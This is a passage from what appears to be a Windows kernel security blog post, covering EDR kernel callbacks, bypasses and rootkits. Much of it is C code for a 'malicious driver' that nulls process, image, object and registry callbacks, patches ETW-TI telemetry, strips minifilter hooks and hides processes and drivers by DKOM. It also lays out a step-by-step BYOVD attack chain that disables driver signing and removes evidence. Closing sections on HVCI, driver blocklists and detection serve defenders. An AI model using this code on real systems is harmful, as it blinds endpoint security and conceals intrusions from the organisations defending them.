│ nt!PspLoadImageNotifyRoutine[] ← image load │
│ ObRegisterCallbacks ← handle access │
│ CmRegisterCallbackEx ← registry ops │
│ FltRegisterFilter ← file I/O │
│ NDIS / WFP callouts ← network │
│ │
│ ETW-TI (Threat Intelligence) ← deep events │
└─────────────────────────────────────────────────────┘
7.2 The Callback Arrays (Deep Dive)
Process Creation Callbacks:
The kernel stores registered process callbacks in:
1
nt!PspCreateProcessNotifyRoutine — array of up to 64 pointers
Each entry is a pointer-encoded _EX_CALLBACK_ROUTINE_BLOCK:
1
2
3
4
5
6
7
8
9
// Each entry in PspCreateProcessNotifyRoutine is:
// EX_FAST_REF pointer (lower 4 bits = ref count, mask them off)
// Points to: _EX_CALLBACK_ROUTINE_BLOCK
typedef struct _EX_CALLBACK_ROUTINE_BLOCK {
EX_RUNDOWN_REF RundownProtect;
PEX_CALLBACK_FUNCTION Function; // ← actual callback function pointer
PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK;
Decoding a callback entry:
1
2
3
4
raw_entry = PspCreateProcessNotifyRoutine[i]
// Lower 4 bits = ref count → strip them
block_ptr = raw_entry & ~0xF
callback_fn = *(PVOID*)(block_ptr + 0x10) // Function field offset
Finding the array address via pattern scanning:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// PsSetCreateProcessNotifyRoutine internally calls
// PspSetCreateProcessNotifyRoutine, which references the array.
// We scan the bytes of PsSetCreateProcessNotifyRoutine for a LEA instruction
// that loads PspCreateProcessNotifyRoutine's address.
ULONG64 FindPspCreateProcessNotifyRoutine()
{
ULONG64 psSetAddr = GetKernelFunctionAddress("PsSetCreateProcessNotifyRoutine");
PUCHAR ptr = (PUCHAR)psSetAddr;
// Scan forward for: lea rcx, [rip+offset] — opcode 0x48 0x8D 0x0D
for (int i = 0; i < 0x200; i++) {
if (ptr[i] == 0x48 && ptr[i+1] == 0x8D && ptr[i+2] == 0x0D) {
// 32-bit RIP-relative offset at ptr[i+3]
INT32 offset = *(INT32*)(&ptr[i+3]);
return (ULONG64)(ptr + i + 7 + offset);
}
}
return 0;
}
8. EDR Callback Bypass Techniques
Now we get to the most advanced content: neutralizing EDR kernel callbacks from a malicious driver or via BYOVD.
8.1 Technique 1 — Callback Entry Nullification
The simplest approach: zero out entries in the callback array. Every EDR callback that’s been nullified will never fire.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// From a kernel driver (or via BYOVD arbitrary write):
ULONG64 arrayBase = FindPspCreateProcessNotifyRoutine();
// Enumerate and print all registered callbacks
for (int i = 0; i < 64; i++) {
ULONG64 entry = ArbitraryRead64(arrayBase + i * 8);
if (entry == 0) continue;
ULONG64 blockPtr = entry & ~0xFULL;
ULONG64 callbackFn = ArbitraryRead64(blockPtr + 0x10); // Function field
// Determine which driver owns this callback
// (compare callbackFn against loaded module ranges)
printf("[%d] Callback at 0x%llx (fn: 0x%llx)\n", i, blockPtr, callbackFn);
// NULLIFY THIS ENTRY:
ArbitraryWrite64(arrayBase + i * 8, 0);
}
Same principle for other callback arrays:
| Array | Exported Function to Scan | Max Entries |
|---|---|---|
PspCreateProcessNotifyRoutine | PsSetCreateProcessNotifyRoutine | 64 |
PspCreateThreadNotifyRoutine | PsSetCreateThreadNotifyRoutine | 64 |
PspLoadImageNotifyRoutine | PsSetLoadImageNotifyRoutine | 64 |
8.2 Technique 2 — Selective Callback Removal (Targeting Specific EDR)
Instead of wiping all callbacks, you can identify and remove only the EDR driver’s callback, leaving system callbacks (like WdFilter) intact to avoid crashing the system.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Identify which driver owns a callback
bool IsCallbackFromModule(ULONG64 callbackFn, ULONG64 moduleBase, ULONG64 moduleSize)
{
return (callbackFn >= moduleBase && callbackFn < moduleBase + moduleSize);
}
void RemoveCallbackByDriverName(HANDLE hDevice, const wchar_t* targetDriver)
{
// 1. Get all loaded modules (EnumDeviceDrivers)
ULONG64 targetBase = GetModuleBase(targetDriver);
ULONG64 targetSize = GetModuleSize(targetDriver);
ULONG64 arrayBase = FindPspCreateProcessNotifyRoutine();
for (int i = 0; i < 64; i++) {
ULONG64 entry = ArbitraryRead64(arrayBase + i * 8);
if (!entry) continue;
ULONG64 blockPtr = entry & ~0xFULL;
ULONG64 fn = ArbitraryRead64(blockPtr + 0x10);
if (IsCallbackFromModule(fn, targetBase, targetSize)) {
printf("[+] Found target EDR callback at index %d. Removing...\n", i);
ArbitraryWrite64(arrayBase + i * 8, 0);
}
}
}
8.3 Technique 3 — ObRegisterCallbacks Removal (Handle Stripping)
EDRs use ObRegisterCallbacks to intercept OpenProcess / OpenThread calls and strip dangerous access rights (e.g., PROCESS_VM_WRITE) from handles. This is how they prevent credential dumping from lsass.exe.
The callback list is stored in a kernel structure reachable via ObpCallPreOperationCallbacks. Finding it requires scanning ObRegisterCallbacks / ObpInsertCallbackByAltitude in ntoskrnl.
1
2
3
4
5
6
7
8
9
10
// ObRegisterCallbacks stores callbacks in a linked list.
// Each node is: _OBJECT_TYPE_FILTER_ENTRY
typedef struct _OB_CALLBACK_ENTRY {
LIST_ENTRY CallbackList;
OB_OPERATION Operations;
BOOLEAN Enabled; // ← set this to FALSE to disable!
PVOID PostOperation;
PVOID PreOperation;
EX_RUNDOWN_REF RundownRef;
} OB_CALLBACK_ENTRY;
Disabling an OB callback:
1
2
3
// If you can find the OB_CALLBACK_ENTRY for the target EDR:
ArbitraryWrite8(callbackEntryAddr + offsetof(OB_CALLBACK_ENTRY, Enabled), 0);
// EDR's object operation callbacks are now disabled
8.4 Technique 4 — ETW-TI (Event Tracing for Windows Threat Intelligence) Patching
ETW-TI provides high-fidelity kernel telemetry to EDRs. It’s accessed via the EtwThreatIntProvRegHandle kernel variable and feeds data into the Windows Security event log and EDR sensors.
Disabling ETW-TI completely blinds many telemetry sources:
1
2
3
4
5
6
7
8
9
10
11
12
13
// Find EtwThreatIntProvRegHandle in ntoskrnl
ULONG64 etwTiHandle = GetKernelFunctionAddress("EtwThreatIntProvRegHandle");
// Dereference: this is a pointer to _ETW_REG_ENTRY
ULONG64 etwRegEntry = ArbitraryRead64(etwTiHandle);
// _ETW_REG_ENTRY layout includes a GuidEntry pointer
// GuidEntry->ProviderEnableInfo.IsEnabled ← the flag to patch
// Exact offset varies by Windows build — use WinDbg: dt nt!_ETW_GUID_ENTRY
#define ETW_GUID_ENTRY_ENABLE_INFO_OFFSET 0x60 // example
// Patch: set IsEnabled = 0
ArbitraryWrite8(etwRegEntry + ETW_GUID_ENTRY_ENABLE_INFO_OFFSET, 0);
printf("[+] ETW-TI disabled. No more kernel telemetry.\n");
8.5 Technique 5 — Minifilter Callback Removal
EDRs that use file system minifilters register with the Filter Manager. The filter is stored in a doubly-linked list starting from FltGlobals in fltmgr.sys.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// fltmgr!FltGlobals + offset → _FLT_RESOURCE_LIST_HEAD (FrameList)
// Each frame → _FLTP_FRAME → FilterList → _FLT_FILTER entries
// _FLT_FILTER contains: OperationCallbacks[] — array of 50 operation callbacks
// Nullifying a minifilter's operations:
typedef struct _FLT_OPERATION_REGISTRATION {
UCHAR MajorFunction;
FLT_OPERATION_FLAGS Flags;
PFLT_PRE_OPERATION_CALLBACK PreOperation;
PFLT_POST_OPERATION_CALLBACK PostOperation;
PVOID CONST Reserved1;
} FLT_OPERATION_REGISTRATION;
// Find the EDR filter's FLT_FILTER, then zero the PreOperation pointers
// for IRP_MJ_CREATE, IRP_MJ_WRITE, etc.
ArbitraryWrite64(filterOpsAddr + IRP_MJ_CREATE * sizeof(FLT_OPERATION_REGISTRATION) +
offsetof(FLT_OPERATION_REGISTRATION, PreOperation), 0);
8.6 Technique 6 — Custom Callback Registration to Block EDR Processes
A more creative approach: register your own PsSetCreateProcessNotifyRoutineEx callback. When the EDR’s process tries to create a process (e.g., spawning a forensics tool), your callback sets CreateInfo->CreationStatus = STATUS_ACCESS_DENIED — preventing the EDR from launching its own processes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// In your malicious driver:
VOID MyProcessCallback(PEPROCESS Process, HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo)
{
if (!CreateInfo) return; // process terminating, not creating
// If the image being created is lsass-dump-utility or forensics tool, block it
if (CreateInfo->ImageFileName) {
if (wcsstr(CreateInfo->ImageFileName->Buffer, L"procmon") ||
wcsstr(CreateInfo->ImageFileName->Buffer, L"autoruns")) {
CreateInfo->CreationStatus = STATUS_ACCESS_DENIED;
KdPrint(("Blocked process: %wZ\n", CreateInfo->ImageFileName));
}
}
}
// Register in DriverEntry:
PsSetCreateProcessNotifyRoutineEx(MyProcessCallback, FALSE);
8.7 Technique 7 — CmRegisterCallback Registry Interception
EDRs monitor registry operations to detect persistence mechanisms. Bypassing this involves either removing their CmRegisterCallback entry or redirecting the call.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// CmUnRegisterCallback with the cookie from the EDR's registration
// You need to find the cookie first — it's stored in a kernel linked list
// accessible via nt!CmpCallbackListLock and nt!CmpCallbackList
// Structure of each CM callback entry:
typedef struct _CM_CALLBACK_ENTRY {
LIST_ENTRY ListEntry;
ULONG64 Unknown;
LARGE_INTEGER Cookie; // ← unique identifier for each registration
PVOID CallerContext;
PEX_CALLBACK_FUNCTION Function; // ← the actual callback
} CM_CALLBACK_ENTRY;
// To remove: walk the list, identify the EDR's entry by its Function pointer,
// then call CmUnRegisterCallback(cookie) OR zero the Function field directly.
ArbitraryWrite64(cmEntryAddr + offsetof(CM_CALLBACK_ENTRY, Function), 0);
9. Advanced Rootkit Techniques
9.1 DKOM — Direct Kernel Object Manipulation
Hide a process by unlinking its _EPROCESS from ActiveProcessLinks:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Remove a process from the linked list
// PID_TO_HIDE: the PID we want to make invisible to Task Manager, Process Explorer, etc.
ULONG64 targetEPROCESS = FindEPROCESSByPID(currentEPROCESS, PID_TO_HIDE);
if (!targetEPROCESS) return;
ULONG64 flinkAddr = targetEPROCESS + EPROCESS_ACTIVE_PROCESS_LINKS;
ULONG64 flink = ArbitraryRead64(flinkAddr); // next entry
ULONG64 blink = ArbitraryRead64(flinkAddr + 8); // prev entry
// Unlink: prev.Flink = next, next.Blink = prev
ArbitraryWrite64(blink, flink); // prev.Flink = next
ArbitraryWrite64(flink + 8, blink); // next.Blink = prev
// Zero out our own links (point to self, or zero)
ArbitraryWrite64(flinkAddr, flinkAddr);
ArbitraryWrite64(flinkAddr + 8, flinkAddr);
printf("[+] PID %d unlinked from process list.\n", PID_TO_HIDE);
Warning: WdFilter and some EDRs also walk
HandleTable-based process lists, not justActiveProcessLinks. DKOM alone doesn’t guarantee invisibility to modern EDRs, but it defeatsEnumProcesses/CreateToolhelp32Snapshot.
9.2 Hiding Network Connections
EDRs and network monitoring tools enumerate connections via TcpEndpointList and UdpEndpointList in tcpip.sys. DKOM can unlink entries from these lists too, making connections invisible to netstat.
9.3 Hiding Driver Modules
The PsLoadedModuleList is a doubly-linked list of all loaded kernel modules. Unlinking your driver from this list hides it from tools like DriverView or WinDbg’s lm command:
1
2
3
ULONG64 psLoadedModuleList = GetKernelFunctionAddress("PsLoadedModuleList");
// Walk the LDR_DATA_TABLE_ENTRY list to find your driver
// Unlink it from PsLoadedModuleList and MmLdrOrderModuleList
9.4 KiSystemCall64 LSTAR Hook (pre-PatchGuard only / with PatchGuard bypass)
The LSTAR MSR holds the address that the CPU jumps to when SYSCALL is executed. Overwriting this allows intercepting every system call:
1
2
3
4
5
6
// Read current LSTAR value
ULONG64 currentLSTAR;
__readmsr(IA32_LSTAR); // MSR 0xC0000082
// Write your hook address
__writemsr(IA32_LSTAR, (ULONG64)&MySyscallHandler);
PatchGuard monitors LSTAR and will BSOD the system. This requires a PatchGuard bypass to be stable.
9.5 Alternate System Call Table (Alt Syscall / “Hells Hollow”)
Documented by fluxsec.red in 2025, this technique sets a per-process AltSystemCallHandlers field on the _KPROCESS structure, routing that process’s syscalls through your custom handler without touching the SSDT or LSTAR — bypassing PatchGuard’s SSDT/MSR checks entirely.
1
2
3
4
5
6
7
// _KPROCESS + some offset contains AltSystemCallHandlers
// Set this for the target process to redirect its syscalls:
ULONG64 kProcessAddr = ...; // target process KPROCESS
ULONG64 altCallersOffset = 0x3B0; // verify per-build
ArbitraryWrite64(kProcessAddr + altCallersOffset,
(ULONG64)&MyAltSyscallHandler);
10. Real-World Attack Tool Chain
Here’s how a real attack using these techniques looks end-to-end:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Phase 1 — Initial Access (Already have Admin)
├─ Drop vulnerable driver to C:\Windows\Temp\vuln.sys
├─ sc create VulnDrv type=kernel binPath=C:\Windows\Temp\vuln.sys
└─ sc start VulnDrv
Phase 2 — Kernel Access via BYOVD
├─ Open handle to \\.\VulnDrv
├─ Exploit IOCTL → achieve ArbitraryRead64 / ArbitraryWrite64 primitives
└─ Obtain kernel base via EnumDeviceDrivers
Phase 3 — Blind EDR
├─ FindPspCreateProcessNotifyRoutine → zero EDR entries
├─ FindPspLoadImageNotifyRoutine → zero EDR entries
├─ FindObCallbacks → disable handle stripping
└─ Patch ETW-TI → disable kernel telemetry
Phase 4 — Load Unsigned Rootkit
├─ Find g_CiEnabled in ci.dll
├─ Write 0 to disable DSE (very short window)
├─ sc create RootkitDrv type=kernel binPath=C:\evil.sys
├─ sc start RootkitDrv
└─ Restore g_CiEnabled to 0x06
Phase 5 — Persistence + Privilege
├─ DKOM: unlink malicious process from ActiveProcessLinks
├─ Token steal → SYSTEM on current process
└─ Add rootkit to MmLdrOrderModuleList blacklist (unlink)
Phase 6 — Cleanup
├─ sc stop VulnDrv
└─ sc delete VulnDrv (remove evidence of BYOVD driver)
11. Detection and Defense
11.1 Microsoft’s Defensive Stack
| Technology | What It Does |
|---|---|
| DSE (Driver Signature Enforcement) | Blocks unsigned drivers from loading |
| HVCI (Hypervisor-Protected Code Integrity) | Enforces DSE even if kernel is compromised (VBS required) |
| PatchGuard (KPP) | Detects SSDT/IDT/GDT/MSR tampering |
| VBS (Virtualization Based Security) | Isolates critical kernel structures in a separate VM (VTL1) |
| Credential Guard | Moves LSASS into a Trustlet (VTL1 process), even kernel can’t read it |
| Secure Boot | Prevents unsigned bootloaders and early-boot malware |
| Memory Integrity (HVCI mode) | Prevents writing to executable kernel memory |
| Microsoft Vulnerable Driver Blocklist | Blocks known vulnerable drivers from loading |
11.2 Enabling HVCI
HVCI (Memory Integrity) is the most effective mitigation — it makes loading unsigned kernel code nearly impossible, even for attackers with arbitrary kernel write, because code pages cannot be made executable at runtime:
1
2
3
4
# Enable Memory Integrity via Settings → Windows Security → Device Security → Core Isolation
# Or via registry:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "HypervisorEnforcedCodeIntegrity" /t REG_DWORD /d 1 /f
11.3 Driver Blocklist
1
2
3
4
5
6
# View current driver blocklist policy
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Config" |
Select-Object VulnerableDriverBlocklistEnable
# Enable Microsoft's vulnerable driver blocklist
reg add "HKLM\SYSTEM\CurrentControlSet\Control\CI\Config" /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 1 /f
11.4 Detection Signatures (EDR/SIEM)
What to look for when detecting BYOVD and kernel exploitation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. Service creation with .sys binPath loading a driver not in expected paths
Event ID 7045 (System): A new service was installed in the system
2. Known vulnerable driver hashes (LOLDrivers database)
Use Sysmon Event ID 6 (Driver Loaded) + check against hash blocklist
3. Suspicious IOCTL patterns to known vulnerable device names
\\.\RTCore64, \\.\gdrv, \\.\DBUtil_2_3
4. Process creation with SYSTEM token by non-SYSTEM parent
Token source mismatch in security audit logs
5. NtLoadDriver / NtUnloadDriver calls from non-SCM processes
Syscall audit via ETW or Kernel Callbacks
6. EPROCESS ActiveProcessLinks manipulation
Process count mismatch between kernel walk and WMI query
11.5 WinDbg Commands for Kernel Research
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// Analyze a BSOD
!analyze -v
// View all EPROCESS structures
!process 0 0
// View specific process
!process 0 0 lsass.exe
// View callback arrays
dt nt!_EX_CALLBACK_ROUTINE_BLOCK
!pspnotifyroutine // unofficial but available in some WinDbg versions
// Manual callback enumeration
dq nt!PspCreateProcessNotifyRoutine L0x40
// View token of a process
!token <token_address>
dt nt!_TOKEN <address>
// View loaded modules
lm
// Find kernel structure offsets
dt nt!_EPROCESS
dt nt!_TOKEN
dt nt!_KPROCESS
// Search kernel memory for a pattern
s -q 0 L?0x7fffffff <pattern>
// View GDT/IDT
r gdtr
r idtr
!gdt
!idt
12. Lab Setup Recommendations
12.1 Recommended Learning Path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Week 1-2: Windows internals fundamentals
→ Read: "Windows Internals" (Yosifovich et al.) — Part 1, Chapters 1-4
→ Tool: WinDbg, LiveKD — explore running kernel structures
Week 3-4: Driver development
→ Build: Hello World KMDF and WDM drivers
→ Build: IOCTL driver that exposes read/write to kernel memory (test only!)
→ Tool: OSR Driver Loader, DebugView (for KdPrint output)
Week 5-6: Vulnerability research
→ Download known-vulnerable drivers from LOLDrivers
→ Reverse them with IDA Pro/Ghidra, find the vulnerable IOCTLs
→ Write exploit code for one (RTCore64.sys is well-documented)
Week 7-8: Privilege escalation
→ Implement token stealing via your test driver
→ Experiment with EPROCESS offsets across builds using WinDbg
→ Tool: Vergilius Project for undocumented structure offsets
Week 9-10: Callback enumeration & bypass
→ Write a driver that enumerates all registered callbacks
→ Implement selective callback removal
→ Tool: KernelCallbackTable from GitHub for reference
Week 11-12: Defenses
→ Enable HVCI, observe what breaks
→ Study PatchGuard triggers (trigger a 0x109 intentionally in a VM)
→ Read Microsoft's MSRC kernel vulnerability write-ups
12.2 Essential Resources
| Resource | Description |
|---|---|
| Windows Internals 7th Ed. | The bible of Windows kernel internals |
| OSR Online (osr.com) | Driver development forums and articles |
| Vergilius Project | Per-build offsets for all undocumented structures |
| LOLDrivers | Database of vulnerable and abused drivers |
| connormcgarr.github.io | Excellent kernel exploitation write-ups |
| Talos Blog — Exploring Vulnerable Drivers | Real-world BYOVD analysis |
| br-sn.github.io — Removing Kernel Callbacks | Callback removal walkthrough |
| hxr1.ghost.io — Silencing EDR via Kernel Debugging | ETW and callback manipulation |
| Altered Security — EDR Callback Disable | Using callbacks to block EDR |
| Outflank — PatchGuard Peekaboo 2026 | Latest PatchGuard bypass research |
| fluxsec.red — Hells Hollow | Alt syscall rootkit SSDT bypass |
| PgC by can1357 | 2024 PatchGuard bypass |
Summary
This blog covered the full attack surface of the Windows kernel driver ecosystem:
- Driver Development — WDM skeleton, IRP handling, IOCTL communication, callback registration
- Vulnerability Classes — Arbitrary R/W, stack/pool overflows, UAF, TOCTOU, METHOD_NEITHER abuse
- Privilege Escalation — Token stealing via EPROCESS walk, privilege adjustment, SMEP/SMAP bypass
- BYOVD — Using signed vulnerable drivers to reach Ring 0 without writing your own signed driver
- PatchGuard — What it protects, timing attacks, ByePg, PgC, and hypervisor-based bypass
- EDR Internals — How process/thread/image/object callbacks work at the kernel level
- EDR Bypass — Callback nullification, OB callback disabling, ETW-TI patching, minifilter removal
- Rootkit DKOM — Hiding processes, drivers, and network connections
- Defense — HVCI, driver blocklist, audit logging, detection signatures
The kernel is the final frontier. Understanding it thoroughly — both offensively and defensively — is what separates a surface-level security engineer from a genuine systems security researcher.
Posted in Security Research · Tagged #kernel #drivers #exploitation #privilege-escalation #edr-bypass #windows-internals #BYOVD #rootkit